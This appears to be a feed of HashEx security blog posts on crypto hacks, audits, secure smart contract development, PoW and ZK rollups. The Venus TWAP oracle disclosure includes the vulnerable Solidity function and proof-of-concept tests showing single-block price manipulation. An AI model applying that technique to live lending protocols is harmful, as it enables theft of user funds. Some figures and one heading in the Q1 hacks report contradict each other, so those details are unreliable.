HashEx Security Blog - Medium

Q1 2024 Crypto Hacks Report by HashEx

Polly Traore — Mon, 08 Apr 2024 12:41:08 GMT

In the first quarter of 2024, the cryptocurrency sector witnessed the theft of over $330 million, highlighting the severity and diversity of threats the industry is facing. The following analysis categorizes the incidents into two main groups: Smart Contract Vulnerabilities, which involve security breaches due to code flaws in smart contracts, and External Threats, which include attacks from outside the blockchain, such as phishing and unauthorized access. By categorizing these incidents, this report aims to provide a clearer understanding of each event’s nature and highlight the array of challenges before the cryptocurrency community.

Smart Contract Vulnerabilities

Curio Voting Power Privileges Vulnerability $16.000.000

A significant security breach has been experienced by Curio, a platform for integrating traditional and decentralized finance through tokenized real-world assets. The attack resulted in the loss of $16 million.

The news hit on March 23, 2024, as CurioDAO Association revealed that their voting protocol, based on a MakerDAO fork, was exploited. The cause for the exploit was a critical vulnerability in the project’s Ethereum-based smart contract. The vulnerability allowed the attacker to manipulate governance and mint an excessive number of CGT tokens.

After acquiring a small number of CGT tokens, the attacker increased their voting power and executed a delegate call to a malicious contract.

The attack involved complex financial strategies, including token swaps and cross-chain transfers, which led to the belief that one of the intentions was to conceal the origins of the minted tokens. Despite the attack being confined to the Ethereum side of Curio’s ecosystem, the incident has raised concerns about the security measures in place, especially since no external audits were found for Curio’s smart contracts. In response, CurioDAO has outlined a recovery plan that involves the launch of a new token, CGT 2.0, and a compensation program to mitigate the impact of the exploit.

PrismaFi Flash Loan Attack $11.500.000

PrismaFi, a platform known for liquid restaking, experienced a significant security breach on March 28, 2024, as it fell victim to a flash loan attack. The exploit led to the loss of 3258 wstETH tokens, valued at around $11.6 million. A lack of proper validation in onFlashloan() function in one of the contracts was the cause of the attack. This oversight allowed the perpetrator to manipulate input data and execute several functions not just on their own addresses, but on arbitrary ones as well. A specific address was targeted, as the attacker closed its trove and demanded a refund of 1745 wstETH. Then, a new trove was opened for 463 wstETH and after some manipulations, the attacker utilized the 1282 wstETH for their benefit. After the profits were extracted, ProsmaFi was left missing $11.6 million.

The incident was quickly detected by Cyvers, which is why PrismaFi took steps to pause the protocol and secure the remaining funds. Despite three audits conducted on PrismaFi in the past, the recent changes to the MigrateTroveZap contract, which were not audited, led to the exploit. This event once again underscores the importance of thorough and continuous security assessments, especially when significant contract modifications are implemented.

WOOFi Price Manipulation Attack $8.500.000

WOOFi, a prominent liquidity provider and trading platform, fell victim to a sophisticated price manipulation attack, resulting in a substantial loss of $8.5 million. The incident unfolded when attackers exploited vulnerabilities in the platform’s price oracle mechanism. The prices of certain assets have been manipulated to the perpetrators’ advantage.

The attackers artificially inflated the price of a specific asset on the platform by executing a series of strategic trades. The trades in question affected the asset’s price feed, which the WOO Network’s smart contracts relied upon for various operations, including loan collateralization and liquidation thresholds. Once the price was inflated, the attackers took out loans against the overvalued asset, subsequently draining the platform’s funds by withdrawing more than the actual value of their collateral. The inflated prices allowed the attackers to exploit the platform’s lending protocol, which led to an unauthorized extraction of $8.75 million. The aftermath of the attack saw a significant drop in the asset’s price to its actual market value, leaving the platform with insufficient collateral to cover the loans issued during the attack. In response to the attack, WOO Network took immediate steps to address the security breach, including enhancing their price oracle mechanisms and implementing additional safeguards to prevent similar incidents in the future. The platform also engaged with the broader crypto community to track and recover the stolen funds, although the outcome of the recovery efforts remains uncertain.

Seneca Protocol Input Validation Vulnerability $6.500.000

Seneca Protocol, a decentralized DeFi protocol, lost around $6 million due to a vulnerability in one of its contracts. The issue allowed an attacker to manipulate the contract’s actions, leading to an unauthorized redirection of users’ funds. The problem arose in a contract function that allowed the calling of other functions within the contract. The attacker exploited it to invoke a fund transfer, enabling them to redirect users’ funds to their account. This was achieved by manipulating the input data of the function, which allowed the perpetrator to specify the destination of the funds. As a result, funds have been stolen directly from users’ wallets, not from the funds deposited in the Seneca Protocol.

Gamma Strategies Flash Loan Attack $5.500.000

Gamma Strategies, a protocol on Arbitrum designed for managing concentrated liquidity, suffered a significant exploit resulting in a loss of at least $4.5 million. The incident unfolded around 03:30 UTC on January 4, with the community and Gamma Strategies quickly recognizing the breach. The exploit involved the use of flash loans to manipulate deposit values, which enabled the attacker to mint an excessive number of LP tokens. Despite having four deposit protection measures, the attack succeeded due to the wide price change thresholds in some vaults. This allowed the perpetrator to inflate the price and mint a disproportionate number of LP tokens. The majority of the stolen funds were converted to Ethereum and bridged back to the attacker’s Ethereum address, totaling 1535 ETH ($3.4M). An additional $1.1 million in DAI and gDAI remained on Arbitrum. The total losses might exceed the initial estimate, as the attack’s aftermath continues to be assessed.

Super Sushi Samurai Infinite Mint Exploit $4.800.000

Super Sushi Samurai, a game on the Blast L2 network, experienced an exploit that drained its liquidity pool (LP) of $4.8 million. The cause of the issue was a contract bug.

The incident occurred shortly after the game’s launch and caused the token price to plummet by 99.9%.

The exploit was related to a minting issue, where tokens were minted and sold into the LP, reminiscent of a similar exploit that affected Gamma Strategies earlier in the year.

The vulnerability stemmed from a coding oversight in the token contract’s transfer function. Specifically, when tokens were transferred, the contract subtracted the amount from the sender’s balance and added it to the recipient’s balance. However, if the sender and recipient were the same address, the contract failed to account for the deducted amount, effectively doubling the balance instead of keeping it unchanged. This loophole allowed the attacker to repeatedly double their balance and sell the inflated holdings. All of this resulted in a substantial loss for the project.

The attacker managed to turn $35 into $4.6 million in about an hour through a series of transactions. Despite the funds being drained, the exploiter later claimed it was a whitehat rescue hack and offered to reimburse the affected users, even providing contact details for the project to reach out.

The incident has raised questions about the effectiveness of smart contract audits, as Super Sushi Samurai’s code had been audited by Verichains, which failed to identify the infinite mint exploit.

External Threats

Chris Larsen’s Account Compromise $112.500.000

On January 30, 2024, Chris Larsen’s personal Ripple account was hacked. The attack resulted in the theft of 213 million XRP tokens. The perpetrators laundered these assets through various exchanges, including Kraken and Binance. Larsen confirmed that the compromised funds were from his personal holdings, not associated with Ripple’s corporate assets. The incident raised concerns about individual account security on blockchain networks.

Orbit Bridge Multisig Compromise $81.500.000

A security breach within an Ethereum bridge of Orbit Chain caused a loss of $81.5 million. The attack is suspected to be a multisig wallet compromise. Multiple transactions helped the perpetrator convert the assets into different cryptocurrencies. This incident from the end of 2023 highlights the vulnerabilities associated with multisig wallets and reminds security specialists of the importance of necessary measures for such critical infrastructure components in the blockchain space.

Orbit Bridge Multisig Compromise $62.500.000

Munchables, a project that had previously won the Blast L2 Big Bang award, fell victim to an exploit on March 26, 2024. The incident cost the project $62.5 million.

The exploit was executed by a rogue developer associated with the project. This developer managed to manipulate the project’s smart contract by assigning themselves a deposited balance of 1,000,000 Ether through manually altering storage slots. This issue took place before the contract was upgraded to a new version that enabled proper checks for preventing such unauthorized withdrawals.

The exploit was initially detected and reported by Munchables: the project tracked the movement of funds and attempted to halt the transactions. The developer had never transferred ownership of the smart contracts back to the Munchables team, which allowed them to execute the exploit.

In a dramatic turn of events, the rogue developer was outed by the blockchain detective ZachXBT and was subsequently persuaded to return the funds. The developer agreed to do so without any conditions, and the assets were secured in a multisig wallet by Blast core contributors. This incident not only reminds of the risks associated with smart contract vulnerabilities but also calls attention to the importance of thorough vetting and monitoring of individuals with access to critical project components.

BitForex Exit Scam $56.500.000

BitForex abruptly ceased operations after suspicious outflows of approximately $56.5 million were detected. The platform’s users encountered access restrictions, and withdrawal requests were ignored, signaling a potential exit scam. The abrupt cessation of operations and lack of communication from BitForex’s team led to immediate speculations and concern among its user base.

PlayDapp Private Key Compromise $32.500.000

Between February 9 and 12, 2024, PlayDapp, a P2E game on Ethereum, was exploited through compromised private keys. The attacker minted and stole 1.79 billion PLA tokens, converting only $32 million of the total number. The stolen funds were distributed across various addresses and platforms, including the Polygon chain and Binance exchange. The critical importance of securing private keys in the blockchain ecosystem was yet again in the spotlight after this incident.

FixedFloat Exchange Exploit $26.000.000

On February 16, 2024, FixedFloat experienced a large exploit that resulted in the loss of Bitcoin and Ethereum valued at approximately $26.13 million. The stolen funds were held primarily in Bitcoin and dispersed across multiple addresses. The Ethereum funds were moved through various exchanges, including HitBTC. The lack of detailed clarification from FixedFloat post-incident has left many questions unanswered regarding the nature and method of the exploit.

Conclusion

The first quarter of 2024 was marked by a series of notable security incidents within the cryptocurrency sector. If anything, every incident shows the continuous and sophisticated nature of threats facing this industry. From the exploitation of smart contract vulnerabilities in projects like Gamma Strategies, Seneca Protocol, and WOO Network to the external threats that led to the compromise of Chris Larsen’s Ripple account and the exit scam of BitForex. These issues have not only resulted in considerable financial losses but have undermined trust in the security of blockchain platforms and projects in general. The critical necessity for advanced security measures has once again been put to the forefront. Security experts as well as project owners must act with constant vigilance, proactively detecting threats and coming up with response strategies. As the digital asset landscape expands and evolves, these breaches serve as a crucial reminder of the importance of continuously enhancing security protocols, and ensuring monitoring in all aspects of the development and functioning of Web3 systems. This is the only way to foster a community-wide commitment to safeguarding against a wide and ever-expanding array of cyber threats. The ongoing challenge for the crypto industry is to adapt and fortify its defenses against both known and emerging security vulnerabilities.

Follow HashEx DeFi Intelligence Ecosystem:
Announcement Channel
Twitter

Q1 2024 Crypto Hacks Report by HashEx was originally published in HashEx Security Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Comprehensive vs. Partial Audits: Lessons from the Venus Protocol Forking

OlegKrylov — Wed, 28 Feb 2024 06:35:58 GMT

The audit process is essential to safeguard blockchain projects since it helps to find potential weaknesses. However, the time and money needed for audits can be significant challenges, particularly for newer initiatives. What should teams do when they are committed to ensure the security of their project but are constrained by limited resources?

The Cost of Security

Walking a tightrope when it comes to security assessments can be a common experience for blockchain projects. One major concern is the cost of an audit, which can vary greatly depending on a number of aspects. One factor is the amount of code that needs to be reviewed; the larger the amount of code, the more hours the auditors must spend, and the higher the cost. In the same way, the project’s fundamental complexity may drive up costs. Projects with complex structures or new mechanisms necessitate more time and specialized knowledge from auditors, which also drives up expenses.

On the other hand, time constraints present another significant challenge. To make sure that nothing is overlooked, security audits involve thorough investigation, testing, and validation, which take time to complete. However, the fast-paced nature of the blockchain industry, coupled with the pressure to launch projects in a timely manner, often puts teams in a bind. The urgency to move forward and stay competitive can make the lengthy audit process seem like a bottleneck, potentially tempting projects to cut corners or rush through necessary security checks.

Given these constraints, teams find themselves searching for a balance that allows them to secure their projects without breaking the bank or losing precious time. The question then becomes: Is there a solution that offers both cost and time efficiency without compromising on the thoroughness of the audit process? It is. Especially for the forks.

The Middle Ground: Comprehensive vs. Partial Audits

What if we work with the fork, which was audited a couple of times before? Should we do a new comprehensive audit or just trust the codebase? Maybe just run an audit of an updated code? There is, in fact, a workable middle ground between the complexity of full audits and the concision of partial audits. This tactic is especially applicable to projects that are forks or derivatives of codebases that have already gone through the stringent auditing procedure. Under such circumstances, the emphasis switches to examining solely the changes made to the original code. Naturally, this assumes that the base code is reliable and safe, which is a key tenet of this methodology.

Because of its advantages, this approach has become popular. Significant time and expense savings can be obtained by limiting the audit to the modifications that have been made. The cost of auditing can be significantly decreased, sometimes even by 10 times, which greatly increases the accessibility of security assessments for projects with more constrained funding. In a similar vein, the audit’s completion time might be shortened from many weeks or months to a few days. This efficiency does not necessarily come at the cost of thoroughness; rather, it represents a targeted approach that builds on the established security of the original codebase. The devil is always in the details. First let’s dive into the universal universe invariant “Quality Cost Speed”. Our cheap and fast partial audit is in the “risks” section. So what are the risks if everything is so clear?

The Deepr Case

While the partial audit approach can offer significant benefits in terms of timelines and costs, it’s not without potential pitfalls. Occasionally assuming that the original source code is completely safe can result in unanticipated difficulties. This was precisely the experience of our client, Deepr, who wisely chose to invest in a full audit for their project, a fork of the Venus protocol. Their decision to conduct a thorough review paid off, uncovering a crucial aspect that had been missed.

Despite the Venus codebase having been examined by four esteemed auditing firms — OpenZeppelin, PeckShield, CertiK, and Hacken — a critical vulnerability within the Venus TWAP Oracles went unnoticed. Rather the vulnerability was such that it did not impact the operational functionality of the Venus project itself at the time of those audits. Our detailed report brought this issue to light, emphasizing the indispensable value of comprehensive audits. This incident illustrates that even well-audited codebases can harbor overlooked vulnerabilities, underscoring the need for vigilance and thoroughness in the audit process.

The Value of Diligence

Optimizing budgets and timelines through partial audits may seem appealing, but the case of Deepr demonstrates the value of thoroughness. When resources allow, opting for a comprehensive audit is advisable. After all, it’s better to be safe than sorry. As the saying goes, “forewarned is forearmed.”

Comprehensive vs. Partial Audits: Lessons from the Venus Protocol Forking was originally published in HashEx Security Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Vulnerability Report: Venus Twap Oracle

OlegKrylov — Tue, 27 Feb 2024 13:02:52 GMT

Introduction

At HashEx, a blockchain security company, we recently undertook an audit of a fork of the Venus Oracle repository at a request of our client. In the course of our examination, we unearthed a previously undocumented vulnerability that had not been identified in any prior audits conducted on the repository.

Summary:

Project name — Venus TWAP Oracle

Platform — Binance Smart Chain

Language — Solidity

Contract — TwapOracle (0x67c549a18abfad127b13f8d56738f43a21bb62a7)

Executive summary

We’ve identified a vulnerability within the deployed Time-Weighted Average Price (TWAP) oracle, which can be exploited for price manipulation. In specific scenarios, the TWAP oracle may calculate the asset’s TWAP over a single block period, ignoring the predefined window length set in the contract’s configuration. This issue arises if the oracle does not receive updates during the designated TWAP period, allowing an attacker to influence the oracle into calculating the price based on the data of only one block.

The vulnerability presents in the deployed oracle implementation (implementation address: 0x67c549a18abfad127b13f8d56738f43a21bb62a7, proxy address 0xea2f042e1A4f057EF8A5220e57733AD747ea8867) and in the version before this commit.Although we haven’t found a TWAP oracle in use, documentation indicates it could be employed as the main oracle under certain conditions. This poses a significant risk, as a manipulated single-block TWAP can lead to the creation of unfavorable loans, representing a critical security faw for the lending platform. There are known attacks on TWAP oracles with insufficient window length, e.g. Inverse Finance hack.

Technical description

The core of the identified vulnerability lies in the update mechanism of the Time-Weighted Average Price (TWAP) oracle, particularly in how the anchorPeriod parameter functions. According to the oracle’s documentation, the anchorPeriod represents the minimum required window, in seconds, between TWAP updates. However, it has been discovered that the price may be updated more frequently, potentially as often as every block. The TWAP calculation relies on an array of Observation structs to store price information. Each Observation struct contains a cumulative price and timestamp. The asset’s price is determined from these stored observations through a public function designed to update the TWAP. This function searches for the first observation after the current timestamp minus the anchorPeriod.

function pokeWindowValues(
 TokenConfig memory config
) private returns (uint256, uint256 startCumulativePrice, uint256
startCumulativeTimestamp) {
 uint256 cumulativePrice = currentCumulativePrice(config);
 uint256 currentTimestamp = block.timestamp;
 uint256 windowStartTimestamp = currentTimestamp - config.anchorPeriod;
 Observation[] memory storedObservations = observations[config.asset];
 uint256 storedObservationsLength = storedObservations.length;
 for (uint256 windowStartIndex = windowStart[config.asset]; windowStartIndex <
storedObservationsLength; ) {
 if (
 (storedObservations[windowStartIndex].timestamp >= windowStartTimestamp) ||
 (windowStartIndex == storedObservationsLength - 1)
 ) {
 startCumulativePrice = storedObservations[windowStartIndex].acc;
 startCumulativeTimestamp = storedObservations[windowStartIndex].timestamp;
 windowStart[config.asset] = windowStartIndex;
 break;
 } else {
 delete observations[config.asset][windowStartIndex];
 }
 unchecked {
 ++windowStartIndex;
 }
 }
 observations[config.asset].push(Observation(currentTimestamp, cumulativePrice));
 ...
 return (cumulativePrice, startCumulativePrice, startCumulativeTimestamp);
}

A vulnerability arises when this update function is not invoked for a duration exceeding the anchorPeriod. In such cases, an attacker can exploit this by calling the update function twice in quick succession, specifically in two consecutive blocks. On the second call, due to the absence of updates within the anchorPeriod, the TWAP price will be calculated with a window length of just one block. This makes it highly susceptible to price manipulations.

Proof of concept

Test cases to show issue vulnerability:

it("update twap twice inside anchor window since last observation", async function () {
 ...
 await this.twapOracle.updateTwap(this.token0.address);
 console.log(
 "Price before 1 block manipulation:",
 ethers.utils.formatUnits(await this.twapOracle.getPrice(this.token0.address), 18),
 );
 console.log("Waiting less than the anchor window...");
 await increaseTime(888); // configured anchorPeriod is 900
 await this.simplePair.update(200, 100, 100, 100); // price changed x2
 await this.twapOracle.updateTwap(this.token0.address);
 await this.twapOracle.updateTwap(this.token0.address);
 console.log(
 "Price after 1 block manipulation:",
 ethers.utils.formatUnits(await this.twapOracle.getPrice(this.token0.address), 18),
 );
});
it("update twap twice after anchor window without observations", async function () {
 ...
 await this.twapOracle.updateTwap(this.token0.address);
 console.log(
 "Price before 1 block manipulation:",
 ethers.utils.formatUnits(await this.twapOracle.getPrice(this.token0.address), 18),
 );
 console.log("Waiting a bit more than the anchor window...");
 await increaseTime(901); // configured anchorPeriod is 900
 await this.simplePair.update(200, 100, 100, 100); // price changed x2
 await this.twapOracle.updateTwap(this.token0.address);
 await this.twapOracle.updateTwap(this.token0.address);
 console.log(
 "Price after 1 block manipulation:",
  ethers.utils.formatUnits(await this.twapOracle.getPrice(this.token0.address), 18),
 );
});

Test output

Price before 1 block manipulation: 1.000000000000000121
Waiting less than the anchor window...
Price after 1 block manipulation: 0.998877665544332331
  update twap twice inside anchor window since last observation (57ms)
Price before 1 block manipulation: 1.000000000000000121
Waiting a bit more than the anchor window...
Price after 1 block manipulation: 0.50000000000000006
  update twap twice after anchor window without observations (52ms

The repository with the tests can be seen at @hashex/venus-twap-vulnerabilty-proof-of-concept Github repository (file test/PivotTwapOracleBug.ts).

Conclusion

The identified issue presents a significant risk to the Venus protocol, particularly if a TWAP oracle is employed, as it could facilitate a price manipulation attack and result in the loss of user funds locked within the protocol. Although we have not discovered any instances of the TWAP oracle currently in use, documentation indicates that it may serve as the primary oracle for certain assets.

Vulnerability Report: Venus Twap Oracle was originally published in HashEx Security Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

The Ultimate Guide to Secure Smart Contract Development in 2024

Polly Traore — Mon, 12 Feb 2024 12:03:25 GMT

The current popularity of blockchain technology is in many ways tied to the possibility of running smart contracts — special programs that function on blockchain.
The importance of writing secure smart contracts is hard to overestimate: practically every week brings multiple attacks on projects that result in the loss of millions of dollars. In this article, we will look at the methods that help minimize the risk of vulnerabilities in the project’s code.

Requirements for Secure Development

Secure Development

Development in blockchain follows the same good practices as in traditional projects. For the most part, the specificity lies in the use of different tools.

Writing a code

Clean code: writing code that’s as simple as possible and meets all the requirements, Such code is easier to modify and analyze during an audit. Complexity always leads to mistakes.
Following the industry standard conventions and patterns. Solidity has a style guide for writing structured code.
Adding inline comments that clarify the decisions made by the developer for the code.
Considering gas optimization.
Always checking that compilation or linter warnings don’t appear. If any of them aren’t fixed, adding an explanation for their presence is necessary.
Using only well-known and tested libraries and stable versions. Check that the used libraries don’t have bugs.
Scripts for automatic deployment. Deployment is a crucial process for blockchain projects and automating the deployment will minimize the risks of errors during the process.

Documentation

The importance of the documentation that’s required for any additional changes to the project.
The documentation must include a detailed description of the project, its architecture components, and an explanation of how the system is supposed to function.
It’s also useful to add in the documentation the conjectures, tradeoffs, and arguments in favor of the chosen system design.

Testing

Rigorous testing is especially important when developing blockchain projects. One typo may lead to severe financial losses and since it is a common practice to deploy non-upgradeable contracts, it’s very hard to fix the errors.

Automatic testing

It’s imperative to have unit tests (to test separate functions of a smart contract) as well as functional testing that tests the interactions between the functions within one smart contract and between several smart contracts.
Foundry or development tools allow to determine the code’s test coverage: which lines of code and functions have been checked by said tests and which haven’t.
It’s very important to achieve 100% (or close) test coverage for smart contracts. At this time, some of the most popular frameworks for Solidity development that allow writing automated tests and calculating coverage are Hardhat and Foundry.

Fuzz testing

Fuzz testing is a testing method that provides random and incorrect data as inputs to the contract.
Tool examples: Echidna, foundry fuzz-testing

Formal verification

Fuzzing attempts to locate a bug in a smart contract by random inputs, while formal verification proves the absence of specific bugs by using a mathematical apparatus.
Tool example: SMTChecker

Functional testing on the fork of the mainnet where the project is intended to run

After testing a project on the testnet it’s important to find out how it’s going to behave on the mainnet. For that, it’s helpful to use forks of the mainnet that allow for testing the integration of the smart contract, backend, and frontend without paying for transactions. One of the services that allow this functionality is Tenderly devnet.

Automated tools for checking

Static code analyzers can rarely be helpful in detecting vulnerabilities but they are useful for finding simple code errors: unused variables, mathematical operations that lead to bigger inconsistencies, and simple gas optimizations. That’s why they shouldn’t be underestimated in the code-writing process.

Tool examples: Slither, Mythril, Aderyn.

External Checks

Audits

Choosing a reliable auditor.
Preparing for an audit.

Determine the scope of the audit.
Provide documentation.
Describe who is going to have access to the privileged functions.
Provide instructions regarding setting up the system set up and running tests.
Explain the invariants and project characteristics to the auditors. Understanding the intended invariants can help auditors.
Point out the parts of the project that the developers are uncertain about.

Bug bounty

A reasonable bounty. Provide the contact information specifically for bounty hunters.
Bug bounty platforms: Immunefi, Codehawks.

Monitoring

Internal monitoring

Quick response is very important for the process of detecting issues. Monitoring is a vital part of any launched project. Controlling all relevant parameters is vital, especially for taking the necessary measures before it’s too late.

External monitoring

In addition to internal monitoring, it’s possible to seek assistance from external services. Such services monitor the mempool for attacks and in case of a suspicious transaction, the protocol is put on pause before the attack transaction is mined. It’s important to note that during the development process, the possibility of pausing the project by a third party has to be included in the code.

Contingency plan

A contingency plan for an emergency has to be prepared in advance. After an attack, it’s often still possible to block the funds so that the attacker couldn’t withdraw them. In case of an attack, there would be no time to decide whom to contact to block the funds

Conclusion

During the smart contract development, every detail is relevant. Because almost always smart contracts deal with valuable assets, security becomes a vital element. There are no irrelevant things and minor issues when it comes to providing security for a project. In this article, we reviewed approaches that allow to minimize the risks of successful attacks on your project.

Follow HashEx DeFi Intelligence Ecosystem:
Announcement Channel
Twitter

The Ultimate Guide to Secure Smart Contract Development in 2024 was originally published in HashEx Security Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

What is Proof of Work in Blockchain?

Polly Traore — Wed, 27 Dec 2023 15:53:02 GMT

Different blockchains use different consensus mechanisms. The most popular being proof of stake and proof of work. While one is quickly becoming the standard, the other has become a source of controversy and multiple public issues. Let’s take a look at Proof of Work and how it operates.

The hash from each block is used in the block that follows it when its hash is created. This creates a ledger of chained blocks that cannot be altered because the information from every block is included in the newest block’s hash.

The name Blockchain reflects the technology — it’s a series of interconnected blocks with each one containing a link to the previous. This link is included in the header of the block in the form of the previous one’s hash. This allows for the blockchain history to be unalterable — if anyone attempts to replace a block, the link to the new one becomes invalid — it will redirect to a previous block.

Proof of work is a decentralized consensus mechanism that relies on network members solving a specific mathematical problem. It’s also known as mining, since the performed action is always rewarded, usually with cryptocurrency.

The consensus mechanism decides which block is going to be added to the chain. By the time of the emergence of the first cryptocurrency — Bitcoin — there were already many consensus mechanisms available. For Bitcoin, Proof of Work was chosen. This is a consensus mechanism in which the chain participants compete to solve a mathematical problem selected by the protocol.

How does it work

As mentioned before, the PoW mechanism means finding a solution to a mathematical problem. To add a new block, miners have to form one from previously unmined transactions and calculate its hash. If the hash is lower than the predetermined value, it’s decided that the miner has found the block. If the value is higher, the miner has to change one of the parameters of the said block — nonce — and the hash is calculated again. This happens over and over until one of the miners finds a nonce that allows for the hash to be lower than the predetermined value.

After the block is found, it’s sent out along with the solution of the math problem (the nonce that allows for the desired value) to the rest of the chain participants. They then add it to their chains. For every found block the miner is rewarded.

Work in this context refers to the miners competing to be the first to solve the mathematical problem, and the data is ultimately added by the fastest one. After the other participants verify the correctness of the data, the winner can receive their reward.

Security

PoW consensus allows for the appearance of forks of the main chain. This happens when two different miners find a valid block almost simultaneously. Miners add the first valid block they see but because the system is decentralized, while some miners receive one block first, the others may receive another. As a result of this, the chain is split into two forks: all miners continue mining from the block they received first. The chain that gets mined first is accepted because when miners start mining, they normally select the longest chain. A transaction added only to the chain that’s going to be canceled will also be canceled, which is why services that work with PoW cryptocurrencies have to wait for a certain amount of proof i.e. blocks found after the one in question, prior to accepting a transaction.

When we discuss PoW consensus security, it’s imperative to mention 51% attacks. This is an attack that can happen when one or a coordinated group of participants take control of more than half of the computing power of the network. When this happens, the attackers can build alternative chains of blocks which allows them to perform double-spending attacks or censor particular transactions. Still, these attacks require huge computing power and there’s never a guarantee that all the efforts and money will in fact lead to a successful attack. At the same time, history shows us at least several successful attacks on PoW blockchains, for instance, Bitcoin Gold attacks in 2018 and 2020.

Advantages of PoW

The most well-known example of PoW consensus is Bitcoin. This mechanism allows for secure transactions from one peer to another without the use of a trusted third party.

These days, there are many successfully tested consensus mechanisms for cryptocurrencies. PoW was the first one used for that particular goal and it has proved itself as a safe and decentralized one. Anyone with the necessary equipment can participate in the mining process.

Disadvantages of PoW

Proof of Work chains tend to be slower than Proof of Stake, transactions take longer time to come through and the transactional fees tend to be more expensive.

Computational power requires powerful and expensive equipment. It’s the primary reason for the price growth of graphic cards.

Proof of Work requires a lot of energy which in turn can cause power surges. In fact, this was one of the reasons proof of stake eventually became the industry standard.

Whether the advantages of proof of work outweigh the disadvantages or not, the mechanism itself proved that innovation, while possibly controversial, can bring blockchain forward.

Follow HashEx DeFi Intelligence Ecosystem:
Announcement Channel
Twitter

What is Proof of Work in Blockchain? was originally published in HashEx Security Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Happy holidays from HashEx!

Polly Traore — Sat, 23 Dec 2023 14:35:25 GMT

This year has not been easy, and we believe, that’s something every company in the market can agree on. The market itself, along with the decentralized industry, has been living through some hard times, facing a drop in popularity. Many companies have cut their stuff, some left the market. We can’t say we were an exception, but HashEx is standing strong and ready to face 2024.

Despite these complications, we’ve had a good year and there’s a reason to celebrate!

In 2023, we received an award for the most exceptional achievements in DeFi Security from DSA. As the Community Choice category winner, we want to thank all our supporters, clients, and community members!

We have successfully strengthened our market share with 3% of performed audits.

This year has seen many security breaches, especially hacker attacks. It’s been wild and unpredictable for many projects. But we are happy to say, that out of the attacks on our audited projects, none succeeded. Our results truly reflect our main goal!

Now let’s talk future because we have a lot to share!

In 2024, we plan to claim a 10% security audits market share. We know that the current decentralized market would largely benefit from our security expertise and skills.

This year, we have released a fork checker — a useful tool that helps devs and users alike check existing forks of any project.

HashEx is planning a release of a new batch of tools for — a Swiss army knife for dApps development and desktop. By utilizing cutting-edge technologies, we will keep developing new security tools and apps.

95% of critical security errors are a result of human factor. Phishing, a lack of knowledge or experience: these issues can result in actual financial losses. Focusing on the 5% who already know what they’re doing is a misguided approach. This is why, among other things, we want to focus our efforts on education.

We want users to feel sure and experienced when they’re working with DeFi. This is the reason we have launched HashEx Academy and this is the reason we will create more educational content for all Blockchain aficionados.

As for our services, in 2024 we are planning to launch a new service line aimed at corporate clients. But we will still collaborate with interesting startups and projects, so reach out to us!

When it comes to security, HashEx will remain as vigilant as ever!

We wish you happy holidays and safety!

Follow HashEx DeFi Intelligence Ecosystem:
Announcement Channel
Twitter

Happy holidays from HashEx! was originally published in HashEx Security Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

What are ZK Rollups: Key Features of ZK Technology

Polly Traore — Thu, 21 Dec 2023 14:55:15 GMT

In the blockchain world, scalability is a critical topic. Scalability involves enhancing blockchain speed without compromising security or other features. This is crucial for a future with potentially billions of daily crypto users in various sectors. Without effective scalability solutions, blockchain networks risk becoming inefficient and costly, hindering mass adoption.

Scalability solutions have been a focus in the blockchain space. Innovations have been made both at the base layer (Layer 1) and through off-chain solutions like sidechains and rollups. This article concentrates on rollups, particularly zero-knowledge (ZK) rollups, providing insights into this emerging ecosystem.

What Are Rollups and Their Purpose?

Rollups are off-chain (Layer 2) solutions that execute transactions outside the main Layer 1 blockchain. They enhance scalability by processing transactions off-chain, bundling them into a single block, and then submitting this block to Layer 1 for finalization. This method significantly increases throughput, potentially raising transaction speeds from 30 transactions per second (TPS) on Ethereum to hundreds or thousands.

Types of Rollups: Optimistic vs. Zero-Knowledge

Rollups come in two main types: optimistic and zero-knowledge (ZK) rollups.

Optimistic Rollups assume all off-chain transactions are valid when posted on-chain. They employ a fraud-proving scheme where, after submission, there’s a challenge period for anyone to compute proof of fraud for any transaction. If unchallenged, the transactions are deemed valid. This model requires at least one honest node to challenge fraudulent transactions.

Zero-Knowledge (ZK) Rollups, on the other hand, submit validity proofs to the main network for transaction finalization. These cryptographic proofs verify the correctness of batched transactions, offering a more secure and efficient way to validate transactions.

Comparing Optimistic and ZK Rollups

Transaction Finality: ZK-rollups offer immediate finality upon proof verification, unlike optimistic rollups which have a challenge period.
Security: ZK-rollups are considered more secure as they rely on cryptographic proofs rather than the honesty of nodes.
Overhead and Cost: ZK-rollups require specialized hardware for proofs and can be costly, whereas optimistic rollups have less overhead.
EVM-Compatibility: Optimistic rollups are generally EVM-compatible, making them more accessible to Ethereum developers. ZK-rollups are still working towards EVM compatibility.

Deep Dive into ZK-Rollups

ZK-rollups use zero-knowledge proofs — cryptographic methods that prove possession of information without revealing the information itself. They use validity proofs like ZK-SNARKs and ZK-STARKs, each with distinct features:

ZK-SNARKs are succinct and non-interactive but require a trusted setup, potentially vulnerable to quantum computing attacks.
ZK-STARKs are more scalable and transparent, avoiding the trusted setup and offering better resistance to quantum attacks.

Implementation of Optimistic Rollups: Optimism and Arbitrum

Arbitrum and Optimism are both Layer-2 scaling solutions for Ethereum, utilizing optimistic rollups to enhance scalability by batching multiple transactions. This approach significantly reduces the load on the Ethereum mainnet, resulting in faster transactions and lower fees. However, they differ in their architectural choices. In contrast, Arbitrum uses multi-round fraud proofs, which are more cost-effective but take longer to process. These differences are reflected in their respective ecosystems and future development plans. While Arbitrum is currently leading in terms of Total Value Locked (TVL) and ecosystem activity, Optimism’s innovative roadmap and strategic partnerships position it as a strong contender in the Layer-2 scaling space. Both platforms continue to evolve, shaping the future of Ethereum scalability.

Implementation of ZK Rollups: A Comparative Look at zkSync, Polygon zkEVM, and StarkNet

